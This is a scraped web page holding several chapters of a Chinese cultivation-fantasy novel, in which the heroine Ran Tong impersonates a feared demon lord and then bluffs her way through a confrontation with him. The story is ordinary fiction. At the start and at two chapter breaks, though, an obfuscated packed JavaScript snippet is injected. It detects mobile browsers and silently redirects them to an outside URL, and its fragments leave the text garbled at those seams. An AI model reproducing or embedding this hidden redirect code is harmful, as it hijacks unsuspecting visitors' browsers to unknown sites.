;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407052|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耍起大小姐脾气,随从们不敢擅自听从,靠得近的小心劝说,离的远的也凝神关注她。 冉彤趁机将一根裸露的大树根变成周羽珞的模样,她靠神木牌制作傀儡,那些净境修为的随从无法识破。 而后再施展障眼法隐去身形,有映真镜在,也不会被他们看穿。 周羽珞发了一通脾气回到原处,没及时察觉冉彤的花招,冉彤主动传音知会她。 “周姐姐,快告诉我赵美玲在哪儿,我去帮你善后。” 周羽珞这才知道身旁的冉彤是个替身,暗自称赞她的幻术高明。 “南面最高的山峰,半山腰有座三丈高的小瀑布,我就是在瀑布下的小水潭旁夺舍她的。” 冉彤疾行至那潭水边,取出凝魂珠施法召唤赵美玲。 凝魂珠对鬼魂有着强大的吸引力,片晌,树丛里飘出一个人形灵体,直奔珠光而来。 “道友,快带我去德康城找赵开元主事,他定有重赏!” 声音听着很像赵美玲。 低阶修士的魂体不像凡人形状松散,但也没法保持生前的面貌。 赵美玲刚到胜境初期,呈现出的魂体就是个浑身光秃,五官模糊的怪物,很符合她丑陋的本性。 冉彤趁机教训她,轻慢询问:“你是哪里来的死鬼?也敢使唤我。” 赵美玲只当她有眼不识泰山,急道:“我是德康城的郡主赵美玲,赵开元是我师父。刚才有个鬼修在这里偷袭,夺走了我的躯壳,求你送我去找师父,他定能救我!” 冉彤呵呵讥笑:“赵郡主,你也有低三下四求人的时候啊,早上在景阳宫打人的气焰上哪儿去了?” 赵美玲听她口气不善,外强中干呵斥:“尔是何人,敢辱骂本郡主!” 冉彤双眼似刀剑开锋,一把摄住鬼魂。 “辱骂算什么,我还要叫你魂飞魄散!” 赵美玲惊恐万状,尖叫:“我有师父赐予的守魂咒,你敢灭我魂魄,师父立时便知,他绝不会放过你!” 那赵开元极境修为,身后还有庞大的离恨天,一般人可招惹不起。 冉彤不敢赌赵美玲有没有虚张声势,脑筋一转,耍出个阴招。在释放“三途烽燹”焚化赵美玲的同时,施展障眼法,摇身变作蓝衣老魔。 黑火灼烧下,赵美玲老鼠似的吱吱惨呼,转眼化为虚无,守魂咒自动激活,向德康城中的赵开元发送感应。 空中即刻出现赵开元的神识投影,怒斥道:“何方歹人敢诛我爱徒神魂!” 冉彤不信他的法力能压倒映真镜,鼓足胆气,模仿老魔的神态口吻抬头傲睨。 “无知小儿,你仔细瞧瞧,可认得本座?” 赵开元早已收到总坛发来的老魔影像,看到这威仪万千的美少年,如同三伏天当头淋了一盆雪水,极寒彻骨,六神失守,当场吓掉数十年修为,赶紧撤回神识。 老魔的威慑力竟这么强,以后不妨多用用。 冉彤得意洋洋撤退,且喜路上没碰到其他人,平安返回周羽珞身旁。 “周姐姐,事情办妥了,可出了点意外,赵开元知道赵美玲死了,估计会前来追凶。我们得尽快离开。” 周羽珞忙用传音符联系黎申,撒娇说:“申哥哥,你们找到赵郡主了吗?还得让我等多久啊?” 冉彤在一旁帮腔:“黎表哥,吴姑娘等得不耐烦了,我看她那样也很烦,你再不回来我就先走了。” 二人一唱一和,骗得黎申赶回。 “你们真叫人头疼,在家闹矛盾就算了,何苦让外人看笑话?” 黎申满脸不悦,定是受了王公子等人戏谑。 周羽珞和冉彤配合着相互抱怨几句,问黎申:“人找着了吗?” 黎申摇头:“没有,我们好几拨人把这鹧鸪山东南西北搜遍了也没发现郡主的踪影,事情看来不简单。” 冉彤说:“该不会被妖兽吃了吧?那可不妙,我们最好赶紧走,省得受牵连。” 黎申认为在理,也不管那三名尚未归队的随从,下令返程。 他们没来得及走出猎场,赵开元已派遣千名部从封锁鹧鸪山,声称有在逃的大魔修在此出没,今日进山的人等皆须接受盘查。 “没老夫的命令,任何人不得离开!” 众人被迫滞留山中,日落前赵开元又从百花州各地调派来数百名精英修士,另有五千名铁甲力士、八百头火眼金睛兽前来助阵,十几道法阵将鹧鸪山围得风雨不透,俨然瓮中捉鳖的阵势。 猎场里的妖兽东躲西藏,修士们只恨不能学它们,一面自怨倒霉,一面忧心忡忡等候发落。 来了太多高人,冉彤不能再和周羽珞进行神识交流,这时她有些后悔冒充老魔了,就目前形势看,她无疑在用大麻烦掩盖小麻烦,非但脱不了身,还将连累众多无辜者,真不知如何才能安全收场。 24.狼来了 大军围困鹧鸪山进行地毯式搜索,翻遍每一寸地皮石缝,杀光所有妖兽,一天一夜过去,没发现老魔的痕迹。 那赵开元惧怕老魔又立功心切,明知他不可能原地逗留,仍不放人。 消息早传回德康城,被羁押的四百三十二人多为德康的名门子弟,这一昼夜里不断有人前来求情作保,黎修鳞也来了,因法阵隔绝,未能与黎申联络,只得随同其他亲属求见赵开元。 赵开元吓唬他们:“本次追捕的是近百年来最危险的重犯,猎场那些人里很可能藏着他的爪牙,调查清楚前断不可轻纵。” 冉彤等人已接受过两遍质询,她修为低,不起眼,又有赵美玲被灭魂时的不在场证明,轻松混过关。 周羽珞和黎申也顺利通过盘查,黎申禀告调查者:“晚辈有三个门人和赵郡主差不多在同一时间失踪,可能也被那魔修杀害了。” 搜查队没看到那三人,认定他们与赵美玲一齐遇难。 赵开元闻讯后疑思更深,猜不透那老魔来鹧鸪山的目的,推测赵美玲和那三个黎家人无意中目睹他的阴谋诡计才会被灭口。 冉彤听黎申报告三名修士失踪,不由得提心吊胆。 要是离恨天的人做法招来那三个亡灵,她和周羽珞都将暴露。 幸好赵开元心思不够缜密,以为三人也被老魔灭魂了,毕竟老魔杀起人来一视同仁,区区低阶修士怎可能逃出魔爪。 第二天下午,离恨天玉衡殿主事张再思驾临。赵开元接至景阳宫静室,向他汇报当前情况。 张再思听后不满,责备:“你做事还这么一惊一乍的,搞出这么大动静,连那魔头的影子都没找着。眼下不仅德康城闹得沸沸扬扬,周边地区也传开了,只怕不久就会谣言四起,届时看你如何了局。” 赵开元促刺道:“那魔头千真万确在鹧鸪山杀害了卑职的弟子,乃卑职亲眼所见,绝对错不了。” 他一直是张再思的部下,在总坛任职时捅了篓子,被下放到德康城。 张再思过去没少替他担责,对其厌恶已深,这回摊上老魔的事再不肯替他背锅,严正声明:“那魔头就算去过鹧鸪山也早跑了,事情是你挑起的,你必须给总坛一个交代。” 赵开元慭慭然问:“众位长老都知晓了?” 张再思冷笑:“就是千重老祖命我过来的,让我摸清情况再上报。” 赵开元明白其中利害了,此事直达高层,若最后一无所获,闹剧收尾,他的下场可想而知。 “卑职立刻加紧审问嫌疑人等,里面一定混有老魔的奸细!” 他狗急跳墙,想出一条毒计,亲临猎场,向那四百三十二人宣话:“此番扣押尔等并非老夫小题大做,实因那涉案的魔头太过危险,总坛千叮万嘱,绝不可放过任何与之相关的线索。尔等都声称自己无罪,但终究口说无凭。时间紧迫,老夫不得已要动用搜魂之术,望尔等配合。” 搜魂术对神识破坏极大,将直接损害低阶修士的根基,臻境以上者也会折损大量修为,无异于重伤酷刑。 此言一出,举众哗然,不顾尊卑相继指责赵开元太过分。 冉彤更像被宣判了死刑,心急如焚地偷瞄周羽珞。后者同样面无人色,决定在暴露前寻机杀死黎申,这个仇能报多少算多少。 赵开元施法制住一名反应最强烈的臻境修士,先对其进行搜魂。 那人神识遭入侵,惨叫数声晕厥过去,身体自行散功,满头青丝瞬间花白,修为直接跌落至净境。 赵开元没找到罪证,假惺惺吩咐部下:“抬下去施药救治,等人清醒了再送还给他的家人。” 而后忝然哄骗惊慌失措的人们:“搜魂术的伤害只是暂时的,老夫事后会赠送一些丹药助尔等疗伤调养,慢慢的都会恢复。尔等皆是正道中人,该懂得清白比什么都重要。” 众人自认敌不过他的野蛮迫害,各自慌乱,都叫恐惧不甘揉皱眉心,夺去血色。 “大家排好队,一个个来,很快就完事了。” 赵开元安排助手开展行动,一名部下来报,说有个天工阁的弟子非要见他。 天工阁是东大陆玉林州内的门派,以炼器闻名于世,在正魔两道都吃得开。 现任掌门是离恨天太上长老魏璃的本家子弟,有这层关系在,赵开元不能不对天工阁另眼相看,将那人叫上来。 斯须后一名净境男修到场,冉彤认得是昨天在景阳宫前被赵美玲使人围殴的伤者。 他竟是天工阁的门人,昨日赵美玲若打死他,八成会被天工阁抓去抵命。 那男修向赵开元行礼后直言呈告:“赵主事,晚辈奉宗门之命来百花州采购炼器原料。昨日造访景阳宫,只因不慎挡了那赵美玲的道就被她唆使手下轮番毒打。若非在场几位善心道友劝阻,晚辈早已丧命。听说那恶女是您的高徒,晚辈斗胆想向您讨个说法。” 这男修一看就是耿介之辈,否则也不会惹上赵美玲。 赵开元不愿得罪天工阁,必须摆正姿态,和气安抚他:“竟有这等事?老夫稍后自会追查,若果真属实,定会还你公道。只是我那美玲徒儿已惨遭妖人杀害,神魂俱灭,没法当面向你赔礼致歉了。望你放宽心胸,不要过于计较,谨防坏了道心。” 冉彤听着窝火,腹诽:这老匹夫话说得漂亮,其实还在袒护那短命徒弟,说白了尽顾着自家脸面,根本不管对错是非。离恨天怎么尽出这种人面兽心的家伙,道祖也太疏于治下了。 她一个外人都难平,那天工阁弟子如何甘心?一气之下不再斟酌措辞,直接道出真实用意。 “赵主事说得在理,冤有头债有主,赵美玲已死,晚辈的仇怨便了了。相应的,赵主事要替徒弟报仇,只该找凶手追责,为何难为这些不相干的人?搜魂术本是魔道功法,正道门派都三令五申严禁滥用,您却公然用于刑讯,离恨天贵为万教之首,难道就是这样以身作则的?” 他恩怨分明,得知昨天救他的修士们被困在猎场,特意前来搭救。 这番批评言辞犀利,还当着众多人,赵开元下不来台,羞恼地施法压制他。 “胆敢妨碍老夫办案,老夫看你也像魔道妖人!” 男修顶不住他的灵力威压,登时不支跪倒,他骨气未衰,忍痛大声抗争:“家师是我们魏掌门的亲传弟子。魏掌门和贵派魏璃老祖的关系您应该很清楚。晚辈人微命贱死了不打紧,就怕离恨天清誉受损后,头一个遭殃的就是前辈您!” 赵开元岂肯当众示弱,正想下毒手,一名离恨天的大修士闯入法阵,急赤白脸冲他吼叫:“赵长老!大事不好!” 下面不少人认得这长老,冉彤听旁人向同伴介绍:“这是蒲阳主事曹珍。” 蒲阳是百花州第二大城市,这曹珍职位与赵开元相当,参与了对老魔的搜捕。 赵开元暂停行凶,问曹珍何事慌张。 曹珍犹豫着看向人群,豁出去似的高声说:“适才那行凶的老魔传信于我,说他昨日未曾到过鹧鸪山,限你半个时辰内释放羁押人员。” 被困众人本来一头雾水,之前议论时都在探究那魔道妖人。 正魔两道休战数百年,人族间少有大干戈。 像王公子等人在百花州生活上百年,从未见离恨天如此大规模兴兵征伐,忧恐之余又禁不住想一睹魔头的真容。 目下赵开元即将施以无情摧残,曹珍的话无疑曙光乍现,人们惊讶那魔修竟会庇护无辜,更好奇他的来历,期待他现身了。 唯有冉彤惧意深化,要是老魔现场追查谁人冒充他,她有十条命都不够死。 赵开元的心情与她相仿,丢开那天工阁弟子,无声责怪曹珍:“曹兄,这种话你怎能当众说!” 曹珍暗暗倒苦水:“那老魔给我下了邪咒,我不照他的吩咐行事性命难保。接下来的事不是你我能应付的,速同我去见张长老,请他老人家示下。” 张再思正是怕什么来什么,之前收到消息时就暗骂赵开元拎不清。 那老魔杀了人,通报上方等候差遣便是。姓赵的倒好,擅自调集重兵围山,闹得人尽皆知,生生把老魔头引了来,这不是逼着他一块儿送死吗? 破口大骂无济于事,还显得心虚。 他瞪着赵开元,脸色比锅底还黑,冷声下令:“魔头本事了得,你二人在此坚守,待老夫再去寻些援手。” 赵开元惶急:“是否该禀报千重老祖?” 张再思一记眼刀戳中他脑门:“老夫自会处置,何须你多嘴!?” 赵开元吃了哑药不能吱声,眼睁睁看上司甩袖离去。 曹珍也想借故开溜,赵开元死活拦住不让走,求着他商量:“曹兄,若张长老不能及时赶回,我们势难抵敌。小弟想以退为进,释放那些嫌疑人,你意下如何?” 曹珍可不想被连坐,坚决反对:“这如何使得?你擅自羁押他们已然不妥,这会儿一受老魔威胁又擅自放人,等张长老回来定会怪责。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14413579|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不放人,魔头来了大家都活不成。小弟还好,打不过便自行了断,曹兄身中老魔邪咒,只怕他不会让你死得太痛快。” “……话虽如此,但放人终究不妥。我们且等那魔头来了再说,况且不是还有张长老主持大局嘛。” 曹珍一门三代都在离恨天效力,曾听祖父私下提起过老魔的真实为人,知道他不像传说中那么凶残,凡事还是道理优先。这次风波并非由他挑起,他觉得老魔未必会不分青红皂白索命。 赵开元没辙,硬起头皮和他一道返回猎场,对众人说:“张长老去调配人手了,等下定叫那妖人自投罗网。尔等安分待着,事后是否能安然离去,全凭你们的表现。” 凝重气氛犹如烧红的炭火压在人们心口,烫得他们七窍冒烟还不敢吭声。 冉彤料定老魔必来,已封锁神识,此外能做的唯有向神明祈祷。 一些人悄悄用计时法宝倒计时,堪堪过了半个时辰,四下里风声大作,只见黑云笼起罩乾坤,紫雾袭来天地昏,所有人都感受到一股前所未见的超强灵压。 离恨天布置的十几重法阵如同脆弱的蛋壳逐层破碎,鹧鸪山参差不齐的峰峦顶不住这股威压,颤颤摇晃起来。 “那老魔来了!” 许多人惊诧叫喊,冉彤紧紧咬住牙关,她知道老魔正在浓云上方俯瞰众人,想必已瞧见她了。 赵开元心里直发毛,冒冒失失指挥五千铁甲力士出击。 傀儡们一窝蜂冲上云头,人们的神识受灵力干扰,无法穿透云层观看战况,只听空中惊雷震万里,电掣搅寰宇,无数粉碎的铁甲如雨点坠落。所有人都呆若木鸡,想象不出那横扫千军的魔头是何等凶相。 洪亮的青年男音猝然间惊醒震愕的人群。 “曹珍小儿,你们为何还不放人?当真活腻了?” 邪咒生效,曹珍如烈火烧身,毒虫钻脑,倒在地上打滚挣扎,哀声乞怜:“前辈容禀!晚辈确已将您的话带到,是赵开元不肯放人!” 赵开元被倒打一耙,不能在阵前跟自家人内讧,赶鸭子上架地强撑门面,望空叫嚣:“老贼,你杀我爱徒,还敢持强威胁我等。张长老已去请千重老祖了,稍后定教你认罪伏诛!” 还有几句装腔作势的话未及出口,地面上骤然钻出一股紫烟,将他缠绕着提到半空。 人们听到这位盛气凌人的长老像被活剖的牲口发出惨不忍闻的凄厉哀嚎,一身修为随着淡退的紫烟尽数散去,破麻袋一般掉落下来。 手下们慌忙上前抢救,扶起他一看都吓得失神。 赵开元头白脸青,面相瞬间苍老了几十岁,失去灵力支撑,过不了几天便会衰竭死去。 “离恨天的喽啰,杀你还脏了本座的手,留你一命好好反省吧。” 老魔言语间鄙薄明显多过恼怒,是真没把离恨天放在眼里。 其余人面色灰败,好似削了皮的茄子,担心自己做成一盘菜还不够给老魔塞牙缝。 也有一些被羁押的明白人知道老魔是来救他们的,好生佩服他的本领和仁义,暗道:英雄不论出身,这前辈的做派可比某些自诩正道的伪君子强多了。 老魔教训完肇事者,提高音量呵斥:“张再思,还不给本座滚出来!” 离恨天众人惊讶地循声四顾,没找着张再思的人影。 他们不知道这位黑衣长老已做贼似的隐身飞上云层,心如死灰地来到距离老魔百丈远的地方。 老魔威严训斥:“你以为这点距离就安全了?你师父生前还算条硬汉,几次被本座打个半死都不曾求饶,怎会教出你这等脓包,滚近点!” 张再思被迫靠近到十丈地外,再近便扛不住老魔的威压了。 他明知人来得再多也是给老魔凑人头,所以方才并没去调兵,只用传音阵向总坛报讯,然后秘密来到猎场,隐匿在暗处,见曹珍和赵开元受害仍狠心不管。 若非时机不对,老魔真想当场灭了这怂货,嫌弃到不愿同他多说一句话,简短下令:“不想死就快放人。” 张再思怎能当众妥协,靠指责拖时间 “此番是你作恶在先,那赵美玲撞破你什么阴谋诡计了,你灭口不算还散她的神魂,如此歹毒,怎不逼人愤恨!” 老魔烦躁:“本座真想灭口会饶过赵开元?一露神识便叫他跟他那徒儿一道魂飞魄散了。” 他估计赵开元没胆量造谣生事,是被冒牌货蒙骗了,那骗子是谁他心下已有数,回头自会追究。 25.耍滑头 灵压似万道钢针扎中张再思的护盾,他明白老魔呼吸间就能杀死他,连还嘴的勇气都没了。 眼看要出洋相,二人之间白光闪现,托出雪千重的神识投影。 “千重老祖!” 张再思像受欺负的孩子见着娘亲,禁不住大声欢叫。 雪千重没理他,声气和顺地对老魔说:“阁下竟亲自来了。” 她知道这魔头不会撒谎,杀灭赵美玲的另有其人。 老魔不跟她磨蹭,峻色警告:“单靠神识远程作战你没有胜算。最好叫他们照本座说的做,否则在你赶到前本座就叫你这些手下灰飞烟灭。” 张再思生怕雪千重叫他们捐躯抵抗,赶紧耍滑头。 “老祖放心,弟子来时已安排好后事,必将带领玉衡殿十二卫死战至最后一兵一卒!” 七殿主事手下都有十二名专司战事的灰衣长老,统称“十二卫”。 主事和该殿十二卫同时覆没将是震惊十州的大消息,势必引爆舆论恐慌。 雪千重仍视他为无物,反将老魔一军:“阁下前来问责,又特意留下赵开元性命,皆是为了救人,理当顾惜下面那四百多人的存亡。” 她言简意赅威胁,老魔岂会不知? 杀了张再思等人,离恨天为保颜面,过后必将那四百多人灭口。 他瞵耽这个表面圣洁,内心黑暗的女人,呵斥:“你想谈判就别废话。” 雪千重说:“此番既是误会,我们不如各让一步。我知阁下向来淡看名利,何妨为这些弱小苍生折损一些威名?” 此言刷新老魔对离恨天众人无耻程度的认知,他是不在乎什么威名,修真问道也并不图称王称霸。可恨这些小人持续无底线地对外造谣抹黑他,还利用他的本性相要挟。 用尽世间最尖刻的词汇也骂不尽他们的卑鄙邪恶,何况老魔历来不擅骂人,而且不愿在此废口舌,冷峻道:“就这么办吧。” 雪千重的冰雕脸露出些许寡淡笑意,问:“不知阁下打算如何处置那冒名滋事的狂徒?” 老魔但凡教养稍差点儿,定会奚落:“干你屁事!” 可叹他活了两千多年从没骂过一句脏话,万般法门皆通透,独独学不会唇枪舌战,被敌人得寸进尺讽刺,心下愤恨,嘴上却乏力,冷漠回应:“这就不劳雪长老操心了。” 地上的人们仿如柔弱的豆芽菜齐齐抬头虚怯地仰望天空。 云层上方静悄悄的,可越没动静,人心反而越慌,疯狂发挥想象力为心理作铺垫,准备迎接那天崩地裂的一刻。 然而众人的预判全部落空,少时狂风偃息,厚如棉被的乌云四分五裂飞散开,天蓝如洗,艳阳晴好,不见分毫妖异。 那魔头的灵力消弭无踪了。 张再思按下遁光,面向全场慷慨宣话:“适才本门千寻老祖亲临,已将那魔头制服押回总坛。尔等切不可对外宣扬,就是对至亲好友也不能透露分毫,违令者必将严惩不贷。” 人们但求平安离去,都服帖地立下保证。 冉彤见识过老魔的实力,不信他会轻易落网,推测他和离恨天达成了某种协定,是主动撤退的。 封锁解除,人们唯恐走之不及。 黎修鳞在猎场外接住三个孩子,领他们乘云车回家,路上少不得询问本次案情。 冉彤和周羽珞都不开口,黎申无奈道:“离恨天下了封口令,不许我们泄密,爹您就别问了。” 黎修鳞决定过后单独找儿子问话,安慰冉彤和周羽珞:“羽珞,嫣儿侄女,你们都吓坏了吧?我在百花州土生土长,活了二百岁多还从没遇见过这种情形,幸好你们都安然无恙,就当成奇遇,给自己长见识吧。” 周羽珞乖巧点头,见冉彤紧绷着脸,貌似还沉浸在恐慌当中。 她知道这女孩胆识过人,不该是这种表现,猜她的麻烦尚未结束,暗自替她悬心。 冉彤最大的强项是擅于总结经验,之前鲁莽冒充老魔已让她体会到思虑不周的危害,这时熟思审处做出精确判断:以那老魔头的脾气定不会放过冒充他的人,而凭他的阅历智识也必然将我视为最大嫌疑人,不久就会找来,我得时刻警惕。 她持续封闭神识,别人跟她说话,她假装心情低落不搭理。 回到黎府便推说疲累,将自己锁在房里。 又是一次难熬的等待,她没把握再次骗过老魔,死亡好像就守在门外,恐惧如影随形。 可是没有人能谢绝命运的挑战,她必须勇敢面对,勇气和决心一直是她的杀手锏,在生命终结前她永不言败。 夜阑人静,她坐在蒲团上闭目听更漏,忽而,一阵微弱的气流迎面吹拂,宛若松林来风,清冽甜香氤氲一室。 她双眼疾睁,那宽袍广袖的高大身影正立在前方,背后月光穿过纱窗勾勒出他优雅挺拔的身姿,恰似春闺梦里的画面。 玉人月下,光景何等旖旎,可惜那佳人暗藏杀机,随时会变身催命鬼。 冉彤拿出云宿雨送她的发簪,不夜珠让室内亮如白昼,老魔正望着她,满脸琢磨不透的平静。 “前、前辈,您来了?” 冉彤忍不住结巴,好在此时心虚胆怯合情合理,用不着掩饰。 “你知道老夫会来,是想主动认罪了。” 那被羁押的四百人中只有这个周羽珞见过他的真容,老魔一看到她便认定那掀起轩然大波的冒牌货是这个胆大妄为的丫头假扮的。 听他说话,冉彤呼吸顺畅了一些,他还愿意交流,说明已仔细检查过她,并且又被映真镜瞒住了。 她连忙抓紧利好形势,跪地讨饶:“晚辈当时别无他法,只能借前辈的神威吓唬赵开元。万没料到会引发骚乱累及您,求前辈恕罪!” “你为何杀人?” “……那赵美玲仗势欺人,早令德康百姓怨声载道,晚辈也很厌恶她。昨日见她在景阳宫凌虐弱者,更加义愤难平,之后在 山上撞见她孤身行走便起了杀心。得手后担心她师父赵开元来追魂调查,干脆灭了她的魂体。” “哼,你倒是精细” 老魔态度明显转冷,追问:“你明明记得老夫,为何谎称失忆?” 他大致调查过鹧鸪山凶案的原委,赵美玲确实死得不冤枉。他不怪冉彤杀人嫁祸,但不能疏忽大意,再让鼠辈算计。 冉彤当然不能暴露自己知道上次遇见的老头儿是他,沉住气装惊讶:“前辈怎知晚辈假装失忆?” 老魔冷笑:“这世上没有老夫不知道的事。” 冉彤凭本能暗讽:切,你不知道的事还多着呢。 一面扮演委屈慌乱,先恭维:“前辈真是神人,什么都瞒不过您。” “少啰嗦,今日你若说不出个所以然,休怪老夫无情。” “前辈息怒!晚辈绝非恶意行骗,实在是复仇心切才为情势所迫!” 一个谎需要另一个更大的谎来圆,在老魔来之前冉彤已编好剧本,给他来个真假参半,虚实混杂。 “黎家父子因贪图晚辈家祖传的宝物,伙同歹徒杀害晚辈全家。当日晚辈身受重伤,在家母掩护下侥幸逃脱。这五年来晚辈一边躲避追杀,一边藏在人迹罕至的地方修行,此生只以复仇为目标。近日思量出一个计策,伪装成失忆重返黎家。黎家父子还指望从晚辈口中套取宝物的下落,对晚辈虚情关怀。晚辈尽力周旋,想趁他们防备减弱时手刃仇敌。” 老魔听南郡的妖怪们说过周家的灭门案,这丫头在青龙沟隐居修行也属实。 他打量冉彤片刻,不冷不热问:“老夫帮你报仇,如何?” 冉彤估摸他在试探,若点头,免不了被认作借刀杀人,刚才的戏就白演了,于是假装犹豫轻轻摇头:“黎家父子和晚辈是血亲,那黎申又曾与晚辈有过情缘,晚辈想亲手了结恩怨,不敢劳烦前辈。” 没事多看看小说很有好处,特别是紫烟散人这种文学大拿的作品,对感悟人性极有帮助。冉彤凭借看书的心得体会恰到好处把握住人物心理,成功拿捏了老魔。 而且有些巧合还在帮她圆谎。 “你那姓黎的舅舅的确不是什么好东西,他在你身上下了追踪禁制,你可知道?” 冉彤当真吃惊,可算明白昨天她出逃时为何会被黎申轻易找到了。 老魔说:“他下禁制的手法很邪门,时间长了会损害你的神识,让老夫帮你解除吧。” “等等!” 冉彤退后一步,她不能只顾眼前,还得考虑后续事宜。 “禁制解除,黎修鳞定会察觉,晚辈没准就暴露了。前辈不用在意,晚辈本就抱着同归于尽的想法,定会在神识受损前杀了他们。” 她演得很投入,但相信比起周羽珞的真实心境,她这点情绪还不够饱满, 老魔望着这神情坚毅的女子,些许怜悯,些许叹惋,最后表达出的是尊重。 “随你吧,还有一件事,凭你的修为如何能骗过赵开元?” 冉彤就知道不能高兴得太早,开始今晚最大的豪赌。 “晚辈有幸遇见一位高人,得他馈赠一件效力极强的幻术法宝,用它施展障眼法,极境修士也识别不出。” 她留意着老魔的反应,进一步冒险。 “前辈要看吗?” “不必了。你听好,往后断不可再冒充老夫,被离恨天逮到,老夫是不会去救你的。” 冉彤赌赢了,哪在乎老魔警告。思忖:他怎不想想我或许也用那法宝骗了他呀,还是对自身实力太自信吧,说白了就是缺心眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422667|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一旦认清这魔头的弱点,惧意便随之降低,她口是心非立誓:“晚辈一定谨记前辈教诲,绝不再给您添乱。” 顺便套个近乎,小心问:“先前离恨天的张长老说您被他们的太上长老抓走了,其实没这回事,对吧?” 老魔嘴角上扬,似在嘲笑张再思。 冉彤顺势拍马屁:“以前辈的法力必能一举击溃那些人,何故中途退去呢?” 她语带遗憾,算得上真情流露。 老魔感受到她刻意表现出的崇敬,淡然道:“老夫是想灭了他们,可那样的话你们也活不长了。” 冉彤顿悟,老魔是为保全无辜,不惜折损颜面,主动认输的。 天啊,这真是心狠手辣的魔头吗?怎么比神仙还慈悲啊,该不会在演戏吧? 随即清醒认识到凭那区区四百多个不起眼的小杂毛,还不配让老魔做戏伤自尊,一时间觉得他光鲜的外表又光辉伟岸了不少,情不自禁求教:“前辈宏恩庇护,实令晚辈感激不尽,可否告知尊姓大名,若日后还有幸拜望,晚辈定当倾力相报。” “你还是想办法活下去吧。” 老魔侧身要走,中途顿住问:“那颗泥丸你还留着吗?” 冉彤忙道谢:“前辈恩赐的法宝强大无比,已救了晚辈两次。” 老魔微微点头,化作紫光闪逝。 顺利通关,冉彤心情放松,双腿立时绵软,一屁股跌坐在蒲团上。 缓了缓神,懊恼自责:“笨啊,我该说那泥丸弄丢了,兴许还能再从他那儿诓一件厉害的法宝。” 凭她对老魔的了解,这设想成真的几率蛮大。 进而思之,更觉得这魔头城府不足了。 岂止是城府不足,以他的年纪、经历来说简直称得上单纯了,哪个阴险狡诈的坏蛋这么心大啊,怀璧那小子都没他好骗。 ……从他今天在鹧鸪山救人的事迹来看,他肯定不坏。不仅不坏,还少见的宅心仁厚,那样所向披靡的人,为救不相干的蝼蚁们,面子说不要就不要。我见过的大修士当中没有一个似他这般高尚的。 也许《云影仙踪记》是本纪实小说,长嬴法师真是贴合老魔经历创作的,这样优秀的人杰怎会被道祖镇压呢? 冉彤百思不解便停止思索。 不管他是什么人都轮不到我操心,下面得集中精力干正事。 她想老魔应该走远了,放出神识去到周羽珞的住处。 周羽珞正坐立不安,终于和她恢复联络,忙热心关问,冉彤一一解答。 “我早猜到你认识那魔修,一直为你捏着汗,没想到他会来找你,幸亏你机灵,换做是我就死定了。” 冉彤很在意周羽珞下意识的自嘲,问:“周姐姐,当年你就是太信任黎申才被他算计,是这样吗?” 周羽珞黯然叹息:“是啊,我那时可糊涂了,也是他太会演戏,至今让我分不清他那些言行究竟几分真几分假。” 冉彤想起昨日在景阳宫碑林,周羽珞看黎申刻字时的神态,料想她还未完全斩断情丝,诚恳开导:“有一丝虚伪都算不得真情,黎申就是个恶毒的骗子。昨天他想试探我是不是真失忆,竟当着我使用飙霆刺,姐姐不该对他存任何幻想,若有机会杀之,切记别手软。” 周羽珞落寞点头,目光再现执着。 “我会的,我已失去一切,连轮回之机都放弃了,报仇是我唯一的信念。” 冉彤沉默片晌,毅然道:“我帮你。反正我被困在这儿不反抗只有死,索性帮你跟他们拼了。能够生还最好,再不济也要让那些恶人付出些代价。” 周羽珞知道她是坚强可靠的外援,感激道:“妹妹,老天爷定是可怜我,特派你来帮我。你放心,只要有一线机会,我都会优先助你脱困。如今我俩已算生死之交,可否容我一问,昨天我看你用天罡真雷试探我,近来离恨天通缉的烈阳冉家女儿是否就是你?” 天巫族人几近灭绝,年轻一辈的修士很少认识天罡真雷的。 冉彤发此疑问,周羽珞回馈她更多惊讶。 “我少时曾有幸拜会令堂,看她施展过天罡真雷,是以你一出手我便认得。” “你见过我娘?” “嗯,六十三年前,令尊令堂来百花州游玩,曾在南郡停留月余,就借住在我家的别院。” 从张丽娘到周羽珞,柳飞绵给女儿留下了太多机缘,冉彤温故思亲,悲喜交集。 “我娘走得太早,若是长寿,定能成为人界最了不起的女修士。” 周羽珞听出她的哽咽,安慰:“妹妹和令堂很像,继承了她的天赋和优点,日后定会代她取得应有的成就。” 她真诚鼓励冉彤努力求生,聊过肺腑,冉彤切回正题,询问她周家被害的始末。 26.计划 黎修鳞之前给冉彤看的留影珠是伪造的,真实景象烙印在周羽珞脑海里,很难用语言形象描述。 那场惨案对她而言是名副其实的飞来横祸,当时她百般困惑,像身处噩梦,认定那是毫无依据的幻觉,却怎么都醒不过来。 